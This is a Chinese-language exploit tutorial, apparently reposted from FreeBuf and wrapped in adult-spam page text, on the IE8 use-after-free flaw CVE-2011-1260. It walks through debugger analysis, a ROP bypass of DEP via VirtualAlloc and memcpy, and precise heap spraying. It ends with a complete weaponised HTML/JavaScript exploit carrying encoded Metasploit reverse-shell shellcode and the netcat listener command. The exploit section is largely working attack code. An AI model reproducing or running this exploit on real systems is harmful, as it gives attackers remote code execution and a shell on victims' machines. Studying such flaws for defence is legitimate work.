成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

針對網頁木馬(CVE-2011-1260)的分析與實踐

安全 黑客攻防 應用安全
很多人了解過pwn2own大賽,很想深入去了解這到底是什么啊,想必很多人都想找一篇從零基礎教學的漏洞分析文章,本例就是一個經典的利用IE UAF漏洞進行遠程代碼執行的完整過程,用本例來闡述到底什么是網頁木馬以及它的具體原理...

本文假設你對漏洞挖掘,漏洞分析,匯編這些不太了解,但是對C,C++有一定了解。首先我們找一個具體的公開的例子——CVE-2011-1260,釋放后重用漏洞。首先我們上網找一下這個漏洞的POC,得到如下(運行環境XP SP3,IE8,開啟DEP(稍后解釋什么是DEP)):

  1. <html> 
  2. <body> 
  3. <script language=;javascript;> 
  4. document.body.innerHTML+="<object hspace=;1000;   width=;1000;>TAG_1</object>"; 
  5. document.body.innerHTML+="<a id=;tag_3; style=;bottom:5000px;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  6. document.body.innerHTML += "AAAAAAA"; 
  7. document.body.innerHTML+="<strong style=;font-size:1000pc;margin:auto -25000px auto auto;; dir=;ltr;>TAG_11</strong>"; 
  8. </script> 
  9. </body> 
  10. </html> 

0×1 漏洞分析

我們雙擊打開,發現IE崩潰了,到底是什么原因呢?
我們用windbg附加進程(調試IE最好還是用微軟的調試器,畢竟微軟主場):附加后,按g,回車,如果限制了activeX控件運行,就按允許,然后windbg在崩潰的時候停止了:

 

從eax+70的地址取出數據,顯然這個地址不合法,所以導致錯誤。我們按knL回車,從棧查看函數的調用情況:

不清楚棧的看這里,清楚的跳過:函數調用有很多種,這里指stdcall,在每一次調用之前,都會將參數壓棧,從右到左,比如Void A(int a,int b),匯編就類似push,push,call,Call指令會將call指令的下一條指令的地址壓棧,所以最后棧看起來是這樣的:(注意,壓棧是從高往低壓)

[[134065]]

 對應源代碼:

 

所以我們從棧中可以看出崩毀之前調用過什么函數,以及現在在什么函數里面,函數返回地址等等很多信息。

 這里我們可以看到是在CElement::Doc函數里面崩毀,看看附近的匯編指令:

 取ecx地址的內容返回給eax,但是eax是0,導致后來的內存讀取錯誤,顯然ecx出了問題。一般情況下,在thiscall中,第一個參數是this指針(用ecx傳遞),而對象+0x0h的地方儲存的是虛函數表的地址,所以可得這里是取虛函數表偏移0×70的地方的虛函數指針,再調用這個虛函數。

顯然這里的ecx就是CElement對象,這個對象是IE里面很多元素的父類,如(CObjectElement,對應<object>標簽,CImgElement,對應<img>標簽等等),而我們從POC中可以看出我們生成了一個<object>標簽,所以我們可以推斷這個是CObjectElement對象,那么這個對象從哪里來的呢?再看進入這個函數之前的匯編代碼:

 取ebx地址的內容給ecx,那么ebx哪里來?我們用ida反匯編這個函數看看(在mshtml.dll)

 Ebx就是this指針,即ebx指向的地方就是CTreeNode,然后CTreeNode對象+0x0h的地方傳給ecx(即偏移0x0h保存了對應的CElement指針),再傳入CElement::Doc。那么CTreeNode和CElement有什么關系呢?

我們重新運行,然后定如下兩個斷點:

  1. bu  mshtml!CObjectElement::CreateElement+0x18 ".printf \"[%08x]\\n\",eax;g" 

在mshtml!CObjectElement::CreateElement+0×18出斷下,并且打印eax的值,然后繼續運行。從文字可以看出這個是構造CObjectElement的函數,里面會調用CObjectElement的構造函數,eax一般是函數返回的值,即這個對象的指針。
 

 函數中分配了一個0xDC的堆,顯然這是這個對象的大小。

  1. bu  mshtml!CTreeNode::CTreeNode+0x8c ".printf \"allocated CTreeNode at %08x, ref to CElement %08x of tbale %08x\\n\", eax, poi(eax), poi(poi(eax));dds poi(eax) L 1;g" 
這個斷點是在CTreeNode+0x8c地方斷下,打印對象指針,對應的CElement指針(CTreeNode+0×0處保存對應CElement對象),以及對應的CElement對象的虛函數表地址。

定好斷點,GO!

 從圖可以看出,最后創建了一個CObjectElement對象在00201c30,然后立馬又創建了與之對應的CTreeNode對象0338aa18,到了程序崩毀的地方,ebx(即CTreeNode對象)還是0338aa18,但是與之對應的CObjectElement對象(ecx)卻改變了。

我們看00201c30的地方:

這里已經不是CObjectElement的虛函數表,說明這個對象已經被釋放,所以與之對應的CTreeNode也在崩潰之前釋放了,所以這里CTreeNode+0×0的CObjectElement指針也是錯誤的,所以指向的地方是00000000,然后讀取虛函數表出錯。我們定下斷點:

  1. bu  mshtml!CTreeNode::Release+0x19 ".printf \"freeing CTreeNode at %08x, CElement at %08x, of table %08x\\n\", edx, poi(edx), poi(poi(edx)); g" 

這里可以看出,在IE崩潰前,CTreeNode已經釋放了,然后崩潰時又引用了這個對象對應的CElement對象,然后call虛函數,導致程序出錯。為什么會釋放呢?因為<object>標簽沒指明clsid值,所以IE會釋放這個標簽,那么接下來我們可以干什么呢?#p#

0×2 漏洞利用

我們既然這個CTreeNode已經釋放了,那么+0×0對應的CElement對象指針所指向的地方我們有無辦法控制呢?我們發現最后崩潰時候ecx指向的地方很接近之前CObjectElement分配到的地方,而且這個地方已經釋放了,我們知道,當一個對象的內存空間釋放后,如果我們大量申請內存,我們遲早會用到這個之前釋放的內存空間,因為本來內存就那么多,要循環利用嘛。如果我們大量申請和CObjectElement相同大小的堆塊,我們會不會把ecx指向的地方覆蓋呢?我們試試:

 

 

果然,ecx指向的地方已經被0x0c0c0c0c覆蓋,根據匯編代碼,之后會call [0x0c0c0c0c+0x70]

然后我們能把0x0c0c0c0c+0×70寫上某個地址,然后eip就會跳到這個地址執行我們指定的代碼,進而pwn IE 8。

那我們有什么辦法在0x0c0c0c0c這里寫上我們要寫的數據呢?也是老方法,通過大量申請堆塊,我們遲早會把0x0c0c0c0c這里覆蓋成我們的內容。

這是如果沒有DEP的話,我們直接用大量的nops+shellcode覆蓋內存,然后精確計算在0x0c0c0c0c+0×70的地方填上我們shellcode的地址,我們就能跳去shellcode運行啦。但是這里有DEP。DEP就是如果這塊內存沒有執行權限的話,即使EIP跳到這里,它也不能執行代碼。而我們通過大量申請堆塊而放置shellcode的地方,系統是不允許在這里運行指令的。這時候,我們可以用ROP繞過DEP。ROP就是在堆棧中壓入若干個小程序的地址,不斷控制EIP運行到這些小程序里,達到某種目的。因為不直接在不可運行的內存中運行代碼,所以可以繞過DEP。等下我會具體舉例子。

要繞過DEP,我們可以通過VirtualAlloc+memcpy的方法,前者可以分配一個內存屬性為可讀可寫可執行的內存區域,然后用memcpy把我們的shellcode復制過去。然后EIP跳到這個區域運行shellcode。(shellcode就是我們想要達到某種目的的代碼,比如惡作劇可以是彈出一個對話框,把這些代碼變成匯編的機器碼,然后復制入內存里面,控制EIP跳至這里執行。)

首先我們要在0x0c0c0c0c的地方偽造一個棧,

通過MSDN查看我們要用的VirtualAlloc與memcpy函數的使用方法,最終我們決定利用兩行代碼繞過DEP(XP3下沒有開啟ASLR):

VirtualAlloc(分配的內存地址,內存大小,內存種類,內存屬性)

  1. VirtuallAlloc(0x7f002000,0x00004000,0x00003000,0x00000040) 
  2. Memcpy(0x7f003000,0x0c0c0c80,0x00001000) 

然后我們構造棧結構如下:

然后我們要想辦法把esp(指向棧頂)指向0x0c0c0c0c,由于我們已經控制EIP(0x0c0c0c0c+0×70),所以如果我們在這里寫入0x76a712ff,該處的指令為xchg eax,esp//ret。然后我們EIP指向0x76a712ff,交換eax和esp(eax這時指向0x0c0c0c0c),然后ret(ret指令就是將EIP變成[ESP],然后ESP+4),這時EIP會變成0x7C809AE1。前面我們已經說過,剛進入函數的時候,[ESP]是函數返回地址,即到最后ret會將EIP變成這個地址,然后下面的是參數,從低到高(從上到下)分別對應C語言中的從左到右,即0x7f002000,0×00004000,0×00003000,0×00000040。然后我們看VirtualAlloc返回的時候指令

 

Retn 10的意思是EIP變成[ESP],然后ESP+14,所以運行完retn 10后,我們會跳入0x7c921db3(memcpy),然后[ESP]是函數返回地址(0x7f001000),然后下面三個是參數,運行完這個函數后,我們會跳入返回地址0x7f001000運行shellcode。(函數調用的具體過程大家可以參考《C++反匯編與逆向分析》的第六章)

然后0x0c0c0c34-0x0c0c0c7c我們放入隨意的數據,然后0x0c0c0c7c放入0x76a712ff,然后0x0c0c0c80我們放入我們的shellcode。

按理來說,只要我們把上面的數據我們組成一個塊(block1),然后申請大量內存填入這些塊,最終覆蓋0x0c0c0c0c就可以了。但是又有問題來了,堆塊申請的起始地址是會變的!!!例如,我們堆塊開始可能的地方可能是0x0c0c0000也可能是0x0c0c0010,我們知道,如果這個地址變了,我們最終就無法令我們這個塊一開始的地方準確地對準0x0c0c0c0c,然后我們0x0c0c0c0c+0×70的地方的數據就會將EIP指向一個錯誤的地方,然后bomb,IE又崩潰。

如果沒有DEP,我們可以覆蓋大量的NOP(1mb左右)+shellcode(幾百字節),然后只要0x0c0c0c0c的地方是NOP就可以了(很大幾率hit中nop),但是這里不行,我們要準確的堆噴射。在這里,我陷入了深深的沉思,我確實在這里想了很久的辦法,網上找了資料,大部分說的都是nop+shellcode,沒有準確的堆噴射,即使有,也看得不明白。后來我突然發現,我們塊的起始地址有個共同的特點:

 

0c0a8040是堆塊的起始地址,前8字節是塊首,真正我們用的是0c0a8048開始,我們在JS里面噴射用過的是string類型,前4字節是保存string的大小,后2字節是0000表示字符串解釋,所以我們這里發現,我們字符串起始的位置都是04c結尾有木有?!! 如果我們創建一個塊大小是0×1000(block2),然后前面0xc0c-0×048=0xbc4字節放入nop,然后再放入我們上面的block1,然后后面全部放入nop。然后我們的內存全部塞滿這樣的塊,我們是不是就保證了全部0xXXXXXc0c地址都對準了我們block1的起始位置?(包括0x0c0c0c0c)(這是我自己想到的方法,不知道大家有無別的好方法?)

接下來,我們就要寫shellcode,這里我們用kail或者BT5的msfpayload生成一個反彈命令行至本地1024端口的JS版shellcode,然后加入我們的exp中。最終我們的exp如下(heapLib.js是一個網上大家用來堆噴射的庫,某個牛人寫的):

  1. <html> 
  2. <body> 
  3. <script src="heapLib.js"></script> 
  4. <script language=;javascript;> 
  5. var heap_obj0 = new heapLib.ie(0x20000); 
  6. var heapspray=;\u9ae1\u7c80\u1db3\u7c92\u2000\u7f00\u4000\u0000\u3000\u0000\u0040\u0000\u3000\u7f00\u3000\u7f00\u0c80\u0c0c\u2fff\u0000;; 
  7. while(heapspray.length<0x38
  8. heapsprayheapspray=heapspray+;\u9090\u9090;; 
  9. heapspray+=;\u12ff\u76a7;; 
  10. heapspray+=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%u007f%u0100%u0268%u0400%u8900%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff"); 
  11. var nops=unescape(;%u9090%u9090;); 
  12. while(nops.length<0x800
  13. nops+=nops; 
  14. block=nops.substring(0,0xBC0/2)+heapspray+nops.substring(0,0x800-0xBC0/2-heapspray.length); 
  15. while(block.length<0x40000
  16. block+=block; 
  17. final=block.substring(0,(0x20000-6)/2); 
  18. for(var i=0;i<0x1000;i++){ 
  19. heap_obj0.alloc(final,"test1"); 
  20. var obj_overwrite=unescape(;%u0c0c%u0c0c;); 
  21. var obj_size=0xe0
  22. while(obj_overwrite.length < 70){ 
  23. obj_overwrite+=obj_overwrite; 
  24. obj_overwriteobj_overwrite=obj_overwrite.slice(0,(obj_size-6)/2); 
  25. for(var i=0;i<5;i++){ 
  26. document.body.innerHTML+="<object align=;right; hspace=;1000;   width=;1000;>TAG_1</object>"; 
  27. var heap_obj = new heapLib.ie(0x10000); 
  28. for(var j=0;j<5000;j++){ 
  29. heap_obj.alloc(obj_overwrite,"test"); 
  30. document.body.innerHTML += "<a id=;tag_3; style=;bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  31. document.body.innerHTML += "AAAAAAA"; 
  32. document.body.innerHTML += "<strong style=;font-size:1000pc;margin:auto -1000cm auto auto;; dir=;ltr;>TAG_11</strong>"; 
  33. </script> 
  34. </body> 
  35. </html> 

Nc.exe –l –p 1024就是監聽1024端口,等待反彈shell。

以上,就是一個經典的利用IE UAF漏洞進行遠程代碼執行的完整過程,有了遠程代碼執行,木馬還會遠嗎?由于本人菜鳥,難免會有錯誤的地方,希望大家一起能共同探討學習。

所以大家知道上XX網的危害了嗎?不要以為沒下載病毒沒事哦,惡意JS都能有exe的功能。

本文出自:http://www.freebuf.com/vuls/66865.html

 

責任編輯:honglu 來源: FreeBuf黑客與極客
相關推薦

2009-04-26 16:16:03

2014-07-21 10:27:54

2013-07-03 09:48:24

2013-06-19 10:03:42

2014-04-28 12:26:54

2011-05-11 13:05:13

2012-11-26 09:38:46

2014-09-25 09:00:57

2014-10-22 10:49:17

2020-11-12 06:01:52

Linux勒索軟件木馬

2021-09-14 09:00:08

銀行木馬木馬QakBo

2015-08-27 10:19:04

2010-09-08 15:50:15

2015-12-21 13:44:17

2020-07-29 07:00:00

GitHub漏洞密鑰

2012-02-22 13:54:19

2010-12-22 12:18:07

金山2011網購木馬

2015-09-18 10:57:45

Web網頁性

2009-05-13 21:55:03

2009-03-27 18:24:46

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 91精品国产日韩91久久久久久 | 99久久精品免费看国产四区 | 一区二区在线 | 国产精品一区二区三区四区 | 免费a国产 | 国产精品久久久久久久久久了 | 亚洲视频在线免费观看 | 欧美黄视频 | 国产成人免费视频网站高清观看视频 | 在线中文字幕日韩 | 韩国av电影网| 综合精品 | 久久精品亚洲国产奇米99 | 欧美一二三四成人免费视频 | 欧美日韩综合精品 | 日韩中文字幕一区二区 | 精品欧美一区二区精品久久久 | 亚洲综合久久精品 | 国产成人精品区一区二区不卡 | 国产精品久久久 | 91精品中文字幕一区二区三区 | 国产在线精品一区二区 | 亚洲免费一区二区 | 久久久久久免费看 | 日日摸日日添日日躁av | 国产精品久久久久一区二区三区 | 日本在线播放一区二区 | 噜久寡妇噜噜久久寡妇 | 欧美日韩一区精品 | www.99热| 男人天堂手机在线视频 | 男人电影天堂 | 亚洲免费精品 | 日韩免费一区 | 日本欧美国产 | 免费高潮视频95在线观看网站 | www国产成人免费观看视频,深夜成人网 | 一区二区三区四区在线视频 | 亚洲综合天堂网 | 精品在线一区 | 午夜电影日韩 |